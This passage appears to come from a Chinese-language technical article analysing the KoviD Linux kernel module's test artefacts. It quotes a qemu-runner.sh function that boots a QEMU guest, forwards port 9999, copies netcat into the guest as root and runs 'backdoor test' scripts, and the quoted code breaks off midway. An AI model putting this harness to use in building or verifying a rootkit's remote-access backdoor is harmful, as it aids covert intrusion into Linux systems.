src="https://wechat2rss.xlab.app/img-proxy/?k=b6b2925f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0aSZKTGYKSufI4MAoW18w3nYI3yqzez9P9D0b5bLB0ibJU6SU1iaUP43g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\home\user\KoviD\test\Artefacts</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这里有个 qemu-runner.sh 脚本需要注意。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这段脚本是一个高度自动化的测试框架，专门用于测试一个名为 kovid.ko 的Linux内核模块。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.4083333333333333" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=19ab80a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0rdibF1eOiado1nWmyud9DpuxmCCbCwDI2akS3Re3Pmg5gKiaI0xlfNtnw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">其中，核心后门测试代码为：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/UOCHvzUGAIW73LmhCvJxWTnqiaH9MplvPpNZvM5gkeCztzVBTYx2GmRnwEE2wibTIjHMWqo6mWVxjdicQ49rib6ydYYGkyH7iaxTU/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">execute_backdoor_test</span></span></span><span leaf="">() {</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">local</span></span><span leaf=""> GUEST_TEST_SCRIPT=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$1</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">local</span></span><span leaf=""> HOST_TEST_SCRIPT=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$2</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">local</span></span><span leaf=""> TEST_LOG_GUEST=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;${GUEST_TEST_SCRIPT%.sh}.log&#34;)</span></span><span leaf="">&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">local</span></span><span leaf=""> TEST_LOG_HOST=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;${HOST_TEST_SCRIPT%.sh}.log&#34;)</span></span><span leaf="">&#34;</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Create a writable copy of the root filesystem</span></span><span leaf="">    TEMP_ROOTFS=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/tmp/rootfs_writable_</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$ROOT_FS&#34;)</span></span><span leaf="">&#34;</span></span><span leaf="">    cp </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${ROOT_FS}</span></span><span leaf="">&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${TEMP_ROOTFS}</span></span><span leaf="">&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Starting QEMU in background for backdoor test: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf="">&#34;</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Launch QEMU in the background and redirect output to the build directory</span></span><span leaf="">    qemu-system-x86_64 \</span><span leaf="">        -kernel </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$KERNEL_IMAGE</span></span><span leaf="">&#34;</span></span><span leaf=""> \</span><span leaf="">        -append </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;root=/dev/sda rw console=ttyS0,115200 init=/sbin/init&#34;</span></span><span leaf=""> \</span><span leaf="">        -drive format=raw,file=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEMP_ROOTFS</span></span><span leaf="">&#34;</span></span><span leaf=""> \</span><span leaf="">        -device e1000,netdev=net0 \</span><span leaf="">        -netdev user,id=net0,hostfwd=tcp::</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${SSH_PORT}</span></span><span leaf="">-:22,hostfwd=tcp::9999-:9999 \</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$QEMU_FLAGS</span></span><span leaf=""> &gt; </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${CMAKE_BINARY_DIR}</span></span><span leaf="">/qemu_output_</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf="">.log&#34;</span></span><span leaf=""> 2&gt;&amp;1 &amp;</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">local</span></span><span leaf=""> QEMU_PID=$!</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Wait for SSH to become available</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Waiting for SSH to be ready for backdoor test: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf="">...&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> {1..30}; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">do</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ssh -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$SSH_KEY</span></span><span leaf="">&#34;</span></span><span leaf=""> -o BatchMode=yes -o ConnectTimeout=5 -p </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${SSH_PORT}</span></span><span leaf="">&#34;</span></span><span leaf=""> root@localhost </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;echo SSH is ready&#39;</span></span><span leaf=""> &gt;/dev/null 2&gt;&amp;1; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">then</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;SSH connection established for backdoor test: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf="">.&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">break</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">fi</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;SSH not ready, retrying in 3 seconds... (Attempt </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$i</span></span><span leaf="">/30)&#34;</span></span><span leaf="">        sleep 3</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">done</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Final check if SSH is still not available</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ! ssh -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$SSH_KEY</span></span><span leaf="">&#34;</span></span><span leaf=""> -o BatchMode=yes -o ConnectTimeout=5 -p </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${SSH_PORT}</span></span><span leaf="">&#34;</span></span><span leaf=""> root@localhost </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;echo SSH is ready&#39;</span></span><span leaf=""> &gt;/dev/null 2&gt;&amp;1; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">then</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Failed to establish SSH connection to QEMU for backdoor test: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf="">. Exiting...&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">kill</span></span><span leaf=""> -SIGTERM </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$QEMU_PID</span></span><span leaf="">&#34;</span></span><span leaf=""> 2&gt;/dev/null || </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">        rm -f </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEMP_ROOTFS</span></span><span leaf="">&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">exit</span></span><span leaf=""> 1</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">fi</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Copy Netcat and its libraries to the guest</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Copying Netcat and its libraries to QEMU...&#34;</span></span><span leaf="">    scp -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$SSH_KEY</span></span><span leaf="">&#34;</span></span><span leaf=""> -o StrictHostKeyChecking=no -P </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${SSH_PORT}</span></span><span leaf="">&#34;</span></span><span leaf=""> /bin/nc.openbsd root@localhost:</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/nc&#34;</span></span><span leaf=""> || {</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Failed to copy Netcat to QEMU.&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">kill</span></span><span leaf=""> -SIGTERM </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$QEMU_PID</span></span><span leaf="">&#34;</span></span><span leaf=""> 2&gt;/dev/null || </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">        rm -f </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEMP_ROOTFS</span></span><span leaf="">&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">exit</span></span><span leaf=""> 1</span><span leaf="">    }</span><span leaf="">    scp -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$SSH_KEY</span></span><span leaf="">&#34;</span></span><span leaf=""> -o StrictHostKeyChecking=no -P </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${SSH_PORT}</span></span><span leaf="">&#34;</span></span><span leaf=""> /lib/x86_64-linux-gnu/libbsd.so.0 root@localhost:</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/lib/libbsd.so.0&#34;</span></span><span leaf=""> || {</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Failed to copy libbsd.so.0 to QEMU.&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">kill</span></span><span leaf=""> -SIGTERM </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$QEMU_PID</span></span><span leaf="">&#34;</span></span><span leaf=""> 2&gt;/dev/null || </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">        rm -f </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEMP_ROOTFS</span></span><span leaf="">&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">exit</span></span><span leaf=""> 1</span><span leaf="">    }</span><span leaf="">    scp -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$SSH_KEY</span></span><span leaf="">&#34;</span></span><span leaf=""> -o StrictHostKeyChecking=no -P </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${SSH_PORT}</span></span><span leaf="">&#34;</span></span><span leaf=""> /lib/x86_64-linux-gnu/libmd.so.0 root@localhost:</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/lib/libmd.so.0&#34;</span></span><span leaf=""> || {</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Failed to copy libmd.so.0 to QEMU.&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">kill</span></span><span leaf=""> -SIGTERM </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$QEMU_PID</span></span><span leaf="">&#34;</span></span><span leaf=""> 2&gt;/dev/null || </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">        rm -f </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEMP_ROOTFS</span></span><span leaf="">&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">exit</span></span><span leaf=""> 1</span><span leaf="">    }</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Transfer and execute the guest backdoor test script</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Transferring and executing guest backdoor test script: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf=""> on QEMU...&#34;</span></span><span leaf="">    scp -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$SSH_KEY</span></span><span leaf="">&#34;</span></span><span leaf=""> -o StrictHostKeyChecking=no -P </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${SSH_PORT}</span></span><span leaf="">&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$GUEST_TEST_SCRIPT</span></span><span leaf="">&#34;</span></span><span leaf=""> root@localhost:</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$RFS_PATH</span></span><span leaf="">/</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf="">&#34;</span></span><span leaf=""> || {</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Failed to transfer guest backdoor test script: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf=""> to QEMU.&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">kill</span></span><span leaf=""> -SIGTERM </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$QEMU_PID</span></span><span leaf="">&#34;</span></span><span leaf=""> 2&gt;/dev/null || </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">        rm -f </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEMP_ROOTFS</span></span><span leaf="">&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">exit</span></span><span leaf=""> 1</span><span leaf="">    }</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Execute the guest backdoor test script in the background on QEMU</span></span><span leaf="">    ssh -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$SSH_KEY</span></span><span leaf="">&#34;</span></span><span leaf=""> -o StrictHostKeyChecking=no -p </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${SSH_PORT}</span></span><span leaf="">&#34;</span></span><span leaf=""> root@localhost </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;nohup sh -c &#39;chmod +x </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$RFS_PATH</span></span><span leaf="">/</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf=""> &amp;&amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$RFS_PATH</span></span><span leaf="">/</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf="">&#39; &gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$RFS_PATH</span></span><span leaf="">/</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEST_LOG_GUEST</span></span><span leaf=""> 2&gt;&amp;1 &amp;&#34;</span></span><span leaf=""> || {</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Failed to execute guest backdoor test script: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf=""> on QEMU.&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">kill</span></span><span leaf=""> -SIGTERM </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$QEMU_PID</span></span><span leaf="">&#34;</span></span><span leaf=""> 2&gt;/dev/null || </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">        rm -f </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEMP_ROOTFS</span></span><span leaf="">&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">exit</span></span><span leaf=""> 1</span><span leaf="">    }</span><span leaf="">    sleep 4  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Wait briefly to ensure the test script starts</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Execute the host backdoor test script</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Executing host backdoor test script: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$HOST_TEST_SCRIPT&#34;)</span></span><span leaf="">...&#34;</span></span><span leaf="">    bash </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$HOST_TEST_SCRIPT</span></span><span leaf="">&#34;</span></span><span leaf=""> &gt; </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEST_LOG_HOST</span></span><span leaf="">&#34;</span></span><span leaf=""> 2&gt;&amp;1</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Retrieve the guest log file from QEMU</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Retrieving log file </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEST_LOG_GUEST</span></span><span leaf=""> from QEMU...&#34;</span></span><span leaf="">    scp -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$SSH_KEY</span></span><span leaf="">&#34;</span></span><span leaf=""> -o StrictHostKeyChecking=no -P </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${SSH_PORT}</span></span><span leaf="">&#34;</span></span><span leaf=""> root@localhost:</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$RFS_PATH</span></span><span leaf="">/</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEST_LOG_GUEST</span></span><span leaf="">&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${CMAKE_BINARY_DIR}</span></span><span leaf="">/&#34;</span></span><span leaf=""> || {</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Failed to retrieve log file </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEST_LOG_GUEST</span></span><span leaf=""> from QEMU.&#34;</span></span><span leaf="">    }</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Manually kill QEMU after backdoor test</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Killing QEMU after backdoor test: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf="">...&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">kill</span></span><span leaf=""> -SIGTERM </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$QEMU_PID</span></span><span leaf="">&#34;</span></span><span leaf=""> 2&gt;/dev/null || </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Wait for QEMU to terminate</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">wait</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$QEMU_PID</span></span><span leaf="">&#34;</span></span><span leaf=""> 2&gt;/dev/null || </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Display completion messages</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Backdoor test script </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf=""> completed. Output saved to </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEST_LOG_GUEST</span></span><span leaf="">.&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Host backdoor test script </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$HOST_TEST_SCRIPT&#34;)</span></span><span leaf=""> completed. Output saved to </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEST_LOG_HOST</span></span><span leaf="">.&#34;</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Cleanup</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Cleaning up temporary files for backdoor test: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename 